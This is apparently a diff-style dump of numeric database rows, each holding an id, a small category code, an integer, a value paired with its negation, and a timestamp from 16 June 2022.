+2052,4,2488,16.5565208,-16.5565208,2022-06-16 08:26:48.31385+00 +2608,6,3024,12.3069639,-12.3069639,2022-06-16 08:36:48.512004+00 +1592,2,2368,11.26979833,-11.26979833,2022-06-16 08:15:04.543358+00 +432,2,1040,16.91862483,-16.91862483,2022-06-16 07:34:59.390393+00 +959,4,1851,13.59433415,-13.59433415,2022-06-16 07:58:20.647309+00 +960,4,1819,13.52266188,-13.52266188,2022-06-16 07:58:20.65071+00 +1598,6,2320,13.00979212,-13.00979212,2022-06-16 08:15:28.513436+00 +770,1,1472,14.48913612,-14.48913612,2022-06-16 07:46:33.863527+00 +437,2,1056,15.55581981,-15.55581981,2022-06-16 07:35:04.431278+00 +771,1,1456,14.49094983,-14.49094983,2022-06-16 07:46:33.866821+00 +772,1,1440,14.51253688,-14.51253688,2022-06-16 07:46:33.867779+00 +1181,6,2032,10.42883575,-10.42883575,2022-06-16 08:04:05.225867+00 +596,4,1243,14.4640703,-14.4640703,2022-06-16 07:40:20.03282+00 +442,2,1072,15.4918587,-15.4918587,2022-06-16 07:35:04.549824+00 +597,4,1275,14.47813785,-14.47813785,2022-06-16 07:40:20.036297+00 +444,2,896,15.53302505,-15.53302505,2022-06-16 07:35:04.576792+00 +445,2,960,15.4577689,-15.4577689,2022-06-16 07:35:04.579771+00 +446,2,1024,15.38291931,-15.38291931,2022-06-16 07:35:04.58068+00 +447,2,1088,15.30847605,-15.30847605,2022-06-16 07:35:04.58155+00 +598,4,1259,14.40433165,-14.40433165,2022-06-16 07:40:20.037289+00 +1186,6,2048,10.38173437,-10.38173437,2022-06-16 08:04:05.438752+00 +4013,4,3448,15.33781889,-15.33781889,2022-06-16 08:54:52.669822+00 +981,6,1808,13.87933523,-13.87933523,2022-06-16 07:59:05.634209+00 +1610,6,2189,15.75021838,-15.75021838,2022-06-16 08:15:44.564929+00 +2072,2,2752,10.22949063,-10.22949063,2022-06-16 08:27:04.624234+00 +618,6,1280,12.60363107,-12.60363107,2022-06-16 07:40:32.820388+00 +619,6,1344,12.54815037,-12.54815037,2022-06-16 07:40:32.823508+00 +794,4,1488,13.92703592,-13.92703592,2022-06-16 07:48:05.186989+00 +795,4,1520,11.61439098,-11.61439098,2022-06-16 07:48:05.190668+00 +796,4,1536,11.56027624,-11.56027624,2022-06-16 07:48:05.191846+00 +799,1,1504,14.44567774,-14.44567774,2022-06-16 07:48:24.869203+00 +800,1,1536,14.29348103,-14.29348103,2022-06-16 07:48:24.872456+00 +634,2,1264,14.64882124,-14.64882124,2022-06-16 07:41:04.425076+00 +801,1,1520,14.2955022,-14.2955022,2022-06-16 07:48:24.873639+00 +2078,4,2680,16.35905647,-16.35905647,2022-06-16 08:27:13.631876+00 +639,2,1280,14.57921463,-14.57921463,2022-06-16 07:41:04.540221+00 +465,1,1144,19.0980381,-19.0980381,2022-06-16 07:36:39.762433+00 +466,1,1112,16.87690929,-16.87690929,2022-06-16 07:36:39.765906+00 +467,1,1120,15.36502129,-15.36502129,2022-06-16 07:36:39.767004+00 +468,1,1136,15.30197433,-15.30197433,2022-06-16 07:36:39.767953+00 +469,1,1152,15.22867448,-15.22867448,2022-06-16 07:36:39.76887+00 +807,6,1424,14.18334692,-14.18334692,2022-06-16 07:50:06.060404+00 +808,6,1488,14.12182744,-14.12182744,2022-06-16 07:50:06.064217+00 +1004,6,1749,16.30293084,-16.30293084,2022-06-16 07:59:41.813902+00 +2323,6,2893,14.18231921,-14.18231921,2022-06-16 08:32:16.526509+00 +474,2,1104,16.85193393,-16.85193393,2022-06-16 07:37:04.437283+00 +2324,6,2957,14.11876182,-14.11876182,2022-06-16 08:32:16.529441+00 +1861,6,2608,9.042005437,-9.042005437,2022-06-16 08:22:26.274401+00 +818,6,1600,11.64978544,-11.64978544,2022-06-16 07:50:06.947665+00 +823,4,1595,13.92232525,-13.92232525,2022-06-16 07:50:22.037334+00 +479,2,1120,15.26072062,-15.26072062,2022-06-16 07:37:04.548591+00 +827,4,1627,13.8164894,-13.8164894,2022-06-16 07:52:20.301369+00 +662,4,1323,14.33985327,-14.33985327,2022-06-16 07:42:20.103859+00 +663,4,1339,14.35216805,-14.35216805,2022-06-16 07:42:20.107797+00 +664,4,1307,14.27687966,-14.27687966,2022-06-16 07:42:20.10905+00 +484,2,1136,15.19819841,-15.19819841,2022-06-16 07:37:04.65994+00 +828,4,1659,13.83217415,-13.83217415,2022-06-16 07:52:20.304758+00 +832,6,1365,16.77050983,-16.77050983,2022-06-16 07:53:07.572265+00 +673,2,1296,16.664324,-16.664324,2022-06-16 07:42:59.418905+00 +1866,6,2624,9.002673531,-9.002673531,2022-06-16 08:22:26.565621+00 +489,2,1152,15.12544234,-15.12544234,2022-06-16 07:37:04.774149+00 +490,4,1120,12.91243892,-12.91243892,2022-06-16 07:37:23.508121+00 +491,4,1152,12.82519846,-12.82519846,2022-06-16 07:37:23.511566+00 +492,4,1136,12.83485027,-12.83485027,2022-06-16 07:37:23.512664+00 +493,4,1104,14.33157408,-14.33157408,2022-06-16 07:37:23.513592+00 +836,6,1552,14.17550261,-14.17550261,2022-06-16 07:54:02.756958+00 +837,6,1616,14.11428329,-14.11428329,2022-06-16 07:54:02.760968+00 +1410,4,2203,12.87752821,-12.87752821,2022-06-16 08:10:23.195261+00 +497,6,1040,14.60110312,-14.60110312,2022-06-16 07:37:28.045603+00 +498,6,1104,14.5362962,-14.5362962,2022-06-16 07:37:28.049219+00 +683,2,1328,14.4449207,-14.4449207,2022-06-16 07:43:04.517662+00 +841,6,1648,11.48401817,-11.48401817,2022-06-16 07:54:03.355047+00 +842,6,1712,11.43510393,-11.43510393,2022-06-16 07:54:03.358638+00 +688,2,1344,14.37628009,-14.37628009,2022-06-16 07:43:04.63595+00 +503,6,1120,13.03649296,-13.03649296,2022-06-16 07:37:28.418235+00 +1020,6,1813,16.22631877,-16.22631877,2022-06-16 07:59:53.539182+00 +692,6,1232,14.46415488,-14.46415488,2022-06-16 07:43:47.784595+00 +693,6,1296,14.40067989,-14.40067989,2022-06-16 07:43:47.788154+00 +846,6,1664,11.40911971,-11.40911971,2022-06-16 07:54:03.588437+00 +847,6,1728,11.36067087,-11.36067087,2022-06-16 07:54:03.59179+00 +509,6,1200,12.98433601,-12.98433601,2022-06-16 07:37:28.813552+00 +851,6,1493,16.61314938,-16.61314938,2022-06-16 07:54:08.918816+00 +853,4,1723,13.77119806,-13.77119806,2022-06-16 07:54:20.523601+00 +854,4,1691,13.69853297,-13.69853297,2022-06-16 07:54:20.527142+00 +1025,1,1904,13.7323316,-13.7323316,2022-06-16 08:00:18.923444+00 +1026,1,1920,13.66811819,-13.66811819,2022-06-16 08:00:18.927202+00 +515,6,1216,12.92219782,-12.92219782,2022-06-16 07:37:29.086058+00 +516,4,1147,14.83118454,-14.83118454,2022-06-16 07:37:37.976433+00 +517,4,1131,14.7557782,-14.7557782,2022-06-16 07:37:39.328171+00 +518,4,1115,14.72162063,-14.72162063,2022-06-16 07:37:40.602751+00 +519,4,1107,14.69511281,-14.69511281,2022-06-16 07:37:47.355312+00 +860,6,1680,13.92924887,-13.92924887,2022-06-16 07:54:37.575116+00 +4434,1,3819,13.30060703,-13.30060703,2022-06-16 09:00:52.262405+00 +3250,6,3341,13.06172221,-13.06172221,2022-06-16 08:44:14.076788+00 +1424,1,2240,13.14224197,-13.14224197,2022-06-16 08:10:30.955787+00 +1425,1,2224,13.14393808,-13.14393808,2022-06-16 08:10:30.958739+00 +1042,6,1920,10.72440961,-10.72440961,2022-06-16 08:00:32.685542+00 +4014,1,3648,11.2565518,-11.2565518,2022-06-16 08:54:58.209953+00 +1355,2,2160,11.88986444,-11.88986444,2022-06-16 08:09:04.434888+00 +4015,1,3632,10.134914,-10.134914,2022-06-16 08:54:58.213404+00 +961,1,1856,13.7815481,-13.7815481,2022-06-16 07:58:27.91946+00 +962,1,1840,13.78393519,-13.78393519,2022-06-16 07:58:27.922752+00 +765,4,1472,11.79842327,-11.79842327,2022-06-16 07:46:05.287628+00 +766,4,1456,11.80858127,-11.80858127,2022-06-16 07:46:05.29199+00 +767,4,1424,13.92065224,-13.92065224,2022-06-16 07:46:05.29359+00 +1593,6,2405,15.97585635,-15.97585635,2022-06-16 08:15:10.270825+00 +588,4,1232,14.20961561,-14.20961561,2022-06-16 07:40:05.189158+00 +589,4,1248,12.50936807,-12.50936807,2022-06-16 07:40:05.192589+00 +537,4,1168,14.20141487,-14.20141487,2022-06-16 07:38:06.557622+00 +538,4,1184,12.71539387,-12.71539387,2022-06-16 07:38:06.562138+00 +539,4,1200,12.66476602,-12.66476602,2022-06-16 07:38:06.563232+00 +540,4,1216,12.60425758,-12.60425758,2022-06-16 07:38:07.850617+00 +541,1,1200,15.23224141,-15.23224141,2022-06-16 07:38:18.765077+00 +542,1,1216,15.15940296,-15.15940296,2022-06-16 07:38:18.769085+00 +543,1,1184,15.18744854,-15.18744854,2022-06-16 07:38:18.770785+00 +544,1,1176,16.90406381,-16.90406381,2022-06-16 07:38:18.771995+00 +545,1,1208,19.03950591,-19.03950591,2022-06-16 07:38:18.772873+00 +546,4,1195,14.62565137,-14.62565137,2022-06-16 07:38:21.832964+00 +547,4,1211,14.63721314,-14.63721314,2022-06-16 07:38:21.836322+00 +548,4,1179,14.56060894,-14.56060894,2022-06-16 07:38:23.112978+00 +549,4,1171,14.53474296,-14.53474296,2022-06-16 07:38:30.473639+00 +590,4,1264,12.45961806,-12.45961806,2022-06-16 07:40:05.19356+00 +591,4,1280,12.40032837,-12.40032837,2022-06-16 07:40:05.194842+00 +776,6,1360,14.35955926,-14.35955926,2022-06-16 07:46:42.615212+00 +602,6,1168,14.65675555,-14.65675555,2022-06-16 07:40:31.925566+00 +2325,4,2939,11.99925371,-11.99925371,2022-06-16 08:32:20.241286+00 +1187,1,2032,13.52859569,-13.52859569,2022-06-16 08:04:06.9639+00 +612,6,1264,12.68927587,-12.68927587,2022-06-16 07:40:32.584069+00 +613,6,1328,12.63326672,-12.63326672,2022-06-16 07:40:32.587246+00 +786,6,1456,11.99735403,-11.99735403,2022-06-16 07:46:43.306374+00 +787,6,1520,11.94537699,-11.94537699,2022-06-16 07:46:43.309635+00 +1188,1,2048,13.46569706,-13.46569706,2022-06-16 08:04:06.967967+00 +792,6,1472,11.91797801,-11.91797801,2022-06-16 07:46:43.553355+00 +629,2,1248,14.70832651,-14.70832651,2022-06-16 07:40:59.533222+00 +793,6,1536,11.86649429,-11.86649429,2022-06-16 07:46:43.5563+00 +797,4,1499,13.99815076,-13.99815076,2022-06-16 07:48:20.21871+00 +798,4,1531,14.01332337,-14.01332337,2022-06-16 07:48:20.221996+00 +802,4,1584,11.50952713,-11.50952713,2022-06-16 07:50:05.552087+00 +803,4,1600,11.45591104,-11.45591104,2022-06-16 07:50:05.556013+00 +804,4,1552,13.87164551,-13.87164551,2022-06-16 07:50:05.557173+00 +2326,4,2923,12.47446744,-12.47446744,2022-06-16 08:32:20.244641+00 +1611,6,2253,15.67716041,-15.67716041,2022-06-16 08:15:52.688764+00 +2625,2,3024,13.97811057,-13.97811057,2022-06-16 08:36:59.426108+00 +813,6,1584,11.70432093,-11.70432093,2022-06-16 07:50:06.699965+00 +1852,4,2619,12.445179,-12.445179,2022-06-16 08:22:23.959025+00 +1210,2,2000,15.52964019,-15.52964019,2022-06-16 08:04:59.439015+00 +819,1,1600,14.22863206,-14.22863206,2022-06-16 07:50:12.843296+00 +658,4,1312,12.27466262,-12.27466262,2022-06-16 07:42:05.541899+00 +659,4,1344,12.19265865,-12.19265865,2022-06-16 07:42:05.545203+00 +660,4,1296,14.09001507,-14.09001507,2022-06-16 07:42:05.546355+00 +661,4,1328,12.17522762,-12.17522762,2022-06-16 07:42:05.547771+00 +665,1,1312,14.82458446,-14.82458446,2022-06-16 07:42:54.810332+00 +666,1,1304,17.02504944,-17.02504944,2022-06-16 07:42:54.813691+00 +667,1,1328,14.72537915,-14.72537915,2022-06-16 07:42:54.814658+00 +668,1,1344,14.65532268,-14.65532268,2022-06-16 07:42:54.815554+00 +820,1,1584,14.23063427,-14.23063427,2022-06-16 07:50:12.844629+00 +821,1,1568,14.34149419,-14.34149419,2022-06-16 07:50:12.845656+00 +822,4,1563,13.90689351,-13.90689351,2022-06-16 07:50:20.747589+00 +824,4,1616,13.84511056,-13.84511056,2022-06-16 07:52:05.513594+00 +679,2,1312,14.50309825,-14.50309825,2022-06-16 07:43:04.429956+00 +825,4,1664,11.29493842,-11.29493842,2022-06-16 07:52:05.517968+00 +826,4,1648,11.30569739,-11.30569739,2022-06-16 07:52:05.519336+00 +829,1,1648,14.13140065,-14.13140065,2022-06-16 07:52:57.869234+00 +830,1,1664,14.06463614,-14.06463614,2022-06-16 07:52:57.872967+00 +831,1,1632,14.23932038,-14.23932038,2022-06-16 07:52:57.874019+00 +833,6,1429,16.69164276,-16.69164276,2022-06-16 07:53:25.136442+00 +1627,4,2384,12.74467769,-12.74467769,2022-06-16 08:16:05.328974+00 +1628,4,2432,9.280191587,-9.280191587,2022-06-16 08:16:05.332793+00 +698,6,1312,12.35938625,-12.35938625,2022-06-16 07:43:48.130359+00 +1629,4,2416,9.291243914,-9.291243914,2022-06-16 08:16:05.335256+00 +1401,4,2192,13.03035299,-13.03035299,2022-06-16 08:10:06.05005+00 +704,6,1392,12.31122635,-12.31122635,2022-06-16 07:43:48.518634+00 +1021,6,1877,16.15008499,-16.15008499,2022-06-16 08:00:04.411924+00 +848,4,1680,13.77258234,-13.77258234,2022-06-16 07:54:05.233483+00 +710,6,1408,12.2531429,-12.2531429,2022-06-16 07:43:48.786842+00 +849,4,1712,11.14576652,-11.14576652,2022-06-16 07:54:05.237278+00 +850,4,1728,11.09425045,-11.09425045,2022-06-16 07:54:05.2384+00 +852,6,1557,16.53503065,-16.53503065,2022-06-16 07:54:18.520163+00 +855,6,1621,16.45728747,-16.45728747,2022-06-16 07:54:32.518589+00 +1027,4,1883,13.46345761,-13.46345761,2022-06-16 08:00:20.521992+00 +1028,4,1915,13.47970187,-13.47970187,2022-06-16 08:00:20.525311+00 +1402,4,2224,9.766599408,-9.766599408,2022-06-16 08:10:06.053783+00 +1403,4,2240,9.723106464,-9.723106464,2022-06-16 08:10:06.055083+00 +1037,6,1904,10.77352513,-10.77352513,2022-06-16 08:00:32.441237+00 +1634,6,2416,9.485436632,-9.485436632,2022-06-16 08:16:05.470818+00 +1639,6,2432,9.443503954,-9.443503954,2022-06-16 08:16:05.727337+00 +871,6,1685,16.37992062,-16.37992062,2022-06-16 07:54:43.589303+00 +872,1,1712,14.03817813,-14.03817813,2022-06-16 07:54:48.885838+00 +873,1,1696,14.26617896,-14.26617896,2022-06-16 07:54:48.889511+00 +730,4,1376,12.04759518,-12.04759518,2022-06-16 07:44:05.330919+00 +731,4,1392,12.00092328,-12.00092328,2022-06-16 07:44:05.335974+00 +732,4,1360,13.99068859,-13.99068859,2022-06-16 07:44:05.337455+00 +733,4,1408,11.91753783,-11.91753783,2022-06-16 07:44:05.338832+00 +734,4,1387,14.21515895,-14.21515895,2022-06-16 07:44:20.143242+00 +735,4,1371,14.18318307,-14.18318307,2022-06-16 07:44:20.146629+00 +736,4,1403,14.1979583,-14.1979583,2022-06-16 07:44:20.147654+00 +737,1,1392,14.65934559,-14.65934559,2022-06-16 07:44:42.814551+00 +738,1,1376,14.65036057,-14.65036057,2022-06-16 07:44:42.818524+00 +739,1,1408,14.55609365,-14.55609365,2022-06-16 07:44:42.81963+00 +874,1,1728,13.93978535,-13.93978535,2022-06-16 07:54:48.890673+00 +4435,1,3835,12.78279896,-12.78279896,2022-06-16 09:00:52.26589+00 +2640,2,3072,9.630363461,-9.630363461,2022-06-16 08:37:04.549201+00 +1429,2,2192,15.32298291,-15.32298291,2022-06-16 08:10:59.402525+00 +1052,6,1872,13.58965196,-13.58965196,2022-06-16 08:01:03.312506+00 +1867,1,2608,12.67821563,-12.67821563,2022-06-16 08:22:28.0454+00 +1259,6,2112,10.21404864,-10.21404864,2022-06-16 08:06:12.705328+00 +1868,1,2624,12.62005657,-12.62005657,2022-06-16 08:22:28.046829+00 +1265,4,2075,13.20713788,-13.20713788,2022-06-16 08:06:20.505519+00 +1266,4,2107,13.22403991,-13.22403991,2022-06-16 08:06:20.509915+00 +1439,2,2240,11.64342603,-11.64342603,2022-06-16 08:11:04.543199+00 +1273,2,2064,15.43662785,-15.43662785,2022-06-16 08:06:59.421373+00 +1071,2,1856,12.66518786,-12.66518786,2022-06-16 08:01:04.44932+00 +1072,2,1920,12.60606408,-12.60606408,2022-06-16 08:01:04.452594+00 +1663,2,2416,11.16755059,-11.16755059,2022-06-16 08:17:04.423868+00 +1869,6,2509,15.35343937,-15.35343937,2022-06-16 08:22:33.875676+00 +1668,2,2432,11.11712714,-11.11712714,2022-06-16 08:17:04.545358+00 +2349,6,2944,8.444689543,-8.444689543,2022-06-16 08:32:27.20053+00 +1581,2,2320,15.08342123,-15.08342123,2022-06-16 08:14:59.409804+00 +1587,2,2352,11.32114536,-11.32114536,2022-06-16 08:15:04.433807+00 +1362,2,2176,11.8354848,-11.8354848,2022-06-16 08:09:04.55137+00 +4016,1,3544,19.11803696,-19.11803696,2022-06-16 08:55:01.214375+00 +4436,1,3803,12.82922194,-12.82922194,2022-06-16 09:00:58.2599+00 +971,6,1840,11.04729869,-11.04729869,2022-06-16 07:58:31.645596+00 +1189,4,2011,13.291773,-13.291773,2022-06-16 08:04:20.737323+00 +1190,4,2043,13.30846132,-13.30846132,2022-06-16 08:04:20.741208+00 +1195,6,2000,13.41878929,-13.41878929,2022-06-16 08:04:51.791135+00 +2067,2,2736,10.27499374,-10.27499374,2022-06-16 08:27:04.526532+00 +2927,6,3245,13.79523867,-13.79523867,2022-06-16 08:40:51.702644+00 +992,2,1552,16.45410923,-16.45410923,2022-06-16 07:59:09.402889+00 +993,2,1584,13.37865043,-13.37865043,2022-06-16 07:59:09.406312+00 +905,4,1792,11.01522083,-11.01522083,2022-06-16 07:56:05.466674+00 +906,4,1776,11.02585626,-11.02585626,2022-06-16 07:56:05.470162+00 +907,4,1744,13.68941949,-13.68941949,2022-06-16 07:56:05.471736+00 +908,4,1787,13.68235117,-13.68235117,2022-06-16 07:56:20.04365+00 +909,4,1755,13.61018377,-13.61018377,2022-06-16 07:56:21.405507+00 +910,1,1776,13.90854861,-13.90854861,2022-06-16 07:56:39.923799+00 +911,1,1792,13.84328875,-13.84328875,2022-06-16 07:56:39.927425+00 +994,2,1600,13.31605577,-13.31605577,2022-06-16 07:59:09.407374+00 +995,2,1648,13.2855773,-13.2855773,2022-06-16 07:59:09.408272+00 +996,2,1664,13.22351358,-13.22351358,2022-06-16 07:59:09.409191+00 +997,2,1616,16.25605407,-16.25605407,2022-06-16 07:59:09.410092+00 +998,2,1680,16.18099819,-16.18099819,2022-06-16 07:59:09.411002+00 +999,2,1712,13.12285325,-13.12285325,2022-06-16 07:59:09.412154+00 +1000,2,1728,13.06167434,-13.06167434,2022-06-16 07:59:09.413063+00 +1001,2,1744,16.04680442,-16.04680442,2022-06-16 07:59:09.413917+00 +920,6,1776,11.19916372,-11.19916372,2022-06-16 07:56:44.240212+00 +1002,2,1776,12.99788859,-12.99788859,2022-06-16 07:59:09.414742+00 +1003,2,1792,12.93740358,-12.93740358,2022-06-16 07:59:09.416091+00 +5817,4,4507,8.921327426,-8.921327426,2022-06-16 09:22:51.234993+00 +3259,6,3312,7.545710583,-7.545710583,2022-06-16 08:44:15.179292+00 +925,6,1792,11.14761119,-11.14761119,2022-06-16 07:56:44.479787+00 +1215,2,2032,12.25434815,-12.25434815,2022-06-16 08:05:04.432333+00 +3265,1,3040,14.91825366,-14.91825366,2022-06-16 08:44:19.201073+00 +1220,2,2048,12.19806486,-12.19806486,2022-06-16 08:05:04.556572+00 +1022,4,1872,13.44620467,-13.44620467,2022-06-16 08:00:05.477325+00 +930,6,1744,13.95193414,-13.95193414,2022-06-16 07:57:15.277958+00 +1023,4,1920,10.57259403,-10.57259403,2022-06-16 08:00:05.480859+00 +1024,4,1904,10.58338118,-10.58338118,2022-06-16 08:00:05.481884+00 +2355,1,2944,12.25626527,-12.25626527,2022-06-16 08:32:31.093996+00 +1404,4,1971,13.95104996,-13.95104996,2022-06-16 08:10:19.637193+00 +1405,4,2035,13.8907695,-13.8907695,2022-06-16 08:10:19.640546+00 +1406,4,2099,13.83081251,-13.83081251,2022-06-16 08:10:19.642088+00 +1407,4,2163,13.77117799,-13.77117799,2022-06-16 08:10:19.643+00 +1244,4,2096,10.08883026,-10.08883026,2022-06-16 08:06:05.396381+00 +1046,2,1808,15.94685063,-15.94685063,2022-06-16 08:00:59.406757+00 +1047,2,1872,15.87354916,-15.87354916,2022-06-16 08:00:59.410208+00 +1245,4,2112,10.04362302,-10.04362302,2022-06-16 08:06:05.399559+00 +1408,4,2227,13.71186497,-13.71186497,2022-06-16 08:10:19.643899+00 +1870,6,2573,15.2824817,-15.2824817,2022-06-16 08:22:43.227611+00 +1254,6,2096,10.26006917,-10.26006917,2022-06-16 08:06:12.465428+00 +1640,4,2427,12.67932566,-12.67932566,2022-06-16 08:16:20.17925+00 +1260,4,2064,13.06779697,-13.06779697,2022-06-16 08:06:16.506108+00 +1875,2,2576,14.62579577,-14.62579577,2022-06-16 08:23:04.443667+00 +1267,1,2112,13.4087356,-13.4087356,2022-06-16 08:06:51.987917+00 +1268,1,2096,13.41008913,-13.41008913,2022-06-16 08:06:51.991111+00 +1066,2,1840,12.75120149,-12.75120149,2022-06-16 08:01:04.367572+00 +1067,2,1904,12.69150924,-12.69150924,2022-06-16 08:01:04.370808+00 +2356,1,2928,12.25762616,-12.25762616,2022-06-16 08:32:31.097345+00 +1880,2,2608,10.61041868,-10.61041868,2022-06-16 08:23:04.560604+00 +2361,6,3005,14.48146321,-14.48146321,2022-06-16 08:32:31.385413+00 +2366,2,2896,14.09103314,-14.09103314,2022-06-16 08:33:04.457584+00 +3266,1,3032,19.94853376,-19.94853376,2022-06-16 08:44:19.204437+00 +1673,6,2381,15.53216197,-15.53216197,2022-06-16 08:17:15.889641+00 +1288,2,2096,12.05467933,-12.05467933,2022-06-16 08:07:04.441644+00 +1443,6,2192,13.20386061,-13.20386061,2022-06-16 08:11:19.655395+00 +1890,6,2576,12.638608,-12.638608,2022-06-16 08:23:05.249259+00 +3274,6,3357,13.61398272,-13.61398272,2022-06-16 08:44:20.400381+00 +4910,2,4088,17.78626148,-17.78626148,2022-06-16 09:08:09.426842+00 +1297,2,2112,11.99947897,-11.99947897,2022-06-16 08:07:04.563418+00 +7127,1,5056,7.332266971,-7.332266971,2022-06-16 09:38:55.438015+00 +6484,2,4800,7.704737927,-7.704737927,2022-06-16 09:31:04.545557+00 +2123,6,2800,8.725475606,-8.725475606,2022-06-16 08:28:06.379627+00 +3294,1,3312,11.43570132,-11.43570132,2022-06-16 08:44:28.175049+00 +2129,4,2779,12.20879401,-12.20879401,2022-06-16 08:28:14.541281+00 +3295,1,3328,12.02694244,-12.02694244,2022-06-16 08:44:28.176201+00 +1705,6,2469,15.68930594,-15.68930594,2022-06-16 08:18:12.41277+00 +2136,6,2829,14.86741989,-14.86741989,2022-06-16 08:28:30.733685+00 +3298,1,3096,19.73817887,-19.73817887,2022-06-16 08:44:46.204651+00 +2146,6,2605,15.26396624,-15.26396624,2022-06-16 08:28:43.276372+00 +2147,6,2669,15.19493345,-15.19493345,2022-06-16 08:28:43.279587+00 +1720,6,2496,9.293609195,-9.293609195,2022-06-16 08:18:40.69534+00 +2148,6,2733,15.12625671,-15.12625671,2022-06-16 08:28:43.280485+00 +1480,6,2061,16.04530745,-16.04530745,2022-06-16 08:12:06.061457+00 +1101,4,1936,13.30723378,-13.30723378,2022-06-16 08:02:05.287278+00 +1102,4,1984,10.37148713,-10.37148713,2022-06-16 08:02:05.290783+00 +1103,4,1968,10.3821092,-10.3821092,2022-06-16 08:02:05.291875+00 +1104,1,1984,13.61286704,-13.61286704,2022-06-16 08:02:09.975351+00 +1105,1,1968,13.61439647,-13.61439647,2022-06-16 08:02:09.978638+00 +1106,4,1947,13.37721047,-13.37721047,2022-06-16 08:02:20.483283+00 +1107,4,1979,13.39367956,-13.39367956,2022-06-16 08:02:20.486644+00 +1327,4,2176,9.898661325,-9.898661325,2022-06-16 08:08:05.648986+00 +1328,4,2160,9.909437143,-9.909437143,2022-06-16 08:08:05.652975+00 +1330,4,2139,13.09695542,-13.09695542,2022-06-16 08:08:21.943735+00 +1484,4,2291,13.60094938,-13.60094938,2022-06-16 08:12:20.933156+00 +1487,4,2299,12.83840063,-12.83840063,2022-06-16 08:12:22.580618+00 +1727,2,2448,14.85129591,-14.85129591,2022-06-16 08:19:04.4204+00 +2149,6,2797,15.05793569,-15.05793569,2022-06-16 08:28:43.281329+00 +1938,1,2688,12.5931645,-12.5931645,2022-06-16 08:24:16.042239+00 +1116,6,1968,10.56847788,-10.56847788,2022-06-16 08:02:31.408214+00 +1939,1,2672,12.59454883,-12.59454883,2022-06-16 08:24:16.045654+00 +1345,1,2176,13.29232351,-13.29232351,2022-06-16 08:08:42.978369+00 +1346,1,2160,13.29383161,-13.29383161,2022-06-16 08:08:42.982068+00 +2150,6,2861,14.98997001,-14.98997001,2022-06-16 08:28:43.282143+00 +1121,6,1984,10.52059216,-10.52059216,2022-06-16 08:02:31.646154+00 +3304,6,3280,12.19802902,-12.19802902,2022-06-16 08:44:50.028649+00 +1501,6,2304,9.721379313,-9.721379313,2022-06-16 08:12:37.726746+00 +7128,1,5040,5.498376656,-5.498376656,2022-06-16 09:38:55.441311+00 +1505,2,2256,15.20228796,-15.20228796,2022-06-16 08:12:59.409495+00 +1126,2,1936,15.68756642,-15.68756642,2022-06-16 08:02:59.468807+00 +1949,6,2672,8.87118558,-8.87118558,2022-06-16 08:24:24.477179+00 +7898,7,5162,16.02347129,-16.02347129,2022-06-16 09:47:51.033984+00 +4500,1,3768,20.28579682,-20.28579682,2022-06-16 09:01:46.260482+00 +1959,6,2640,12.5816692,-12.5816692,2022-06-16 08:24:51.372648+00 +1131,2,1968,12.45763794,-12.45763794,2022-06-16 08:03:04.431379+00 +3330,2,3328,9.345237947,-9.345237947,2022-06-16 08:45:04.545213+00 +2171,1,2800,12.46820802,-12.46820802,2022-06-16 08:28:52.06431+00 +2172,1,2816,12.41114336,-12.41114336,2022-06-16 08:28:52.065676+00 +1582,6,2341,16.05030311,-16.05030311,2022-06-16 08:15:03.702385+00 +1136,2,1984,12.40018868,-12.40018868,2022-06-16 08:03:04.540286+00 +4017,4,3576,15.27882346,-15.27882346,2022-06-16 08:55:01.503646+00 +3238,4,3280,11.18145338,-11.18145338,2022-06-16 08:44:05.240661+00 +1177,4,2048,10.22621885,-10.22621885,2022-06-16 08:04:05.170631+00 +1178,4,2032,10.23694593,-10.23694593,2022-06-16 08:04:05.174195+00 +1141,6,1936,13.48589596,-13.48589596,2022-06-16 08:03:16.694773+00 +1179,4,2000,13.16639918,-13.16639918,2022-06-16 08:04:05.175205+00 +3239,4,3312,6.947216778,-6.947216778,2022-06-16 08:44:05.245466+00 +2635,2,3056,9.505856231,-9.505856231,2022-06-16 08:37:04.435882+00 +1846,4,2576,12.47207203,-12.47207203,2022-06-16 08:22:05.249179+00 +1847,4,2624,8.846884511,-8.846884511,2022-06-16 08:22:05.252778+00 +1848,4,2608,8.857820393,-8.857820393,2022-06-16 08:22:05.253776+00 +3240,4,3328,7.394406727,-7.394406727,2022-06-16 08:44:05.246803+00 +3625,2,3456,9.392925605,-9.392925605,2022-06-16 08:49:04.709773+00 +1641,4,2395,12.61228489,-12.61228489,2022-06-16 08:16:23.985085+00 +1409,4,2235,12.94610523,-12.94610523,2022-06-16 08:10:21.097596+00 +1152,6,1677,16.42479899,-16.42479899,2022-06-16 08:03:20.58788+00 +1153,6,1741,16.3481558,-16.3481558,2022-06-16 08:03:38.933409+00 +1154,6,1805,16.27188448,-16.27188448,2022-06-16 08:03:47.603813+00 +1646,6,2384,12.89042178,-12.89042178,2022-06-16 08:16:57.225916+00 +1418,6,2224,9.954903575,-9.954903575,2022-06-16 08:10:28.654297+00 +4027,2,3600,14.50689892,-14.50689892,2022-06-16 08:55:04.437875+00 +1423,6,2240,9.910509537,-9.910509537,2022-06-16 08:10:28.860584+00 +3267,4,3307,11.67547582,-11.67547582,2022-06-16 08:44:20.143133+00 +3268,4,3323,11.17784026,-11.17784026,2022-06-16 08:44:20.146582+00 +1434,2,2224,11.69675069,-11.69675069,2022-06-16 08:11:04.432548+00 +3269,4,3291,11.23281677,-11.23281677,2022-06-16 08:44:20.14754+00 +1885,2,2624,10.56321138,-10.56321138,2022-06-16 08:23:04.676838+00 +1674,6,2445,15.46022144,-15.46022144,2022-06-16 08:17:24.216117+00 +3275,1,3323,14.4415504,-14.4415504,2022-06-16 08:44:22.17518+00 +2972,2,3200,9.332881335,-9.332881335,2022-06-16 08:41:04.522179+00 +3276,1,3307,14.93073053,-14.93073053,2022-06-16 08:44:22.176454+00 +2116,4,2816,8.358454357,-8.358454357,2022-06-16 08:28:05.89367+00 +2117,4,2800,8.369531741,-8.369531741,2022-06-16 08:28:05.897459+00 +1278,6,2064,13.28280746,-13.28280746,2022-06-16 08:07:03.762869+00 +1901,6,2637,15.21189529,-15.21189529,2022-06-16 08:23:07.331335+00 +2118,4,2768,12.05971194,-12.05971194,2022-06-16 08:28:05.898535+00 +3277,1,3291,14.45808876,-14.45808876,2022-06-16 08:44:22.177329+00 +3640,6,3501,13.14571675,-13.14571675,2022-06-16 08:49:12.470182+00 +1706,4,2491,12.60090019,-12.60090019,2022-06-16 08:18:20.431973+00 +4437,4,3808,8.426812313,-8.426812313,2022-06-16 09:01:01.180274+00 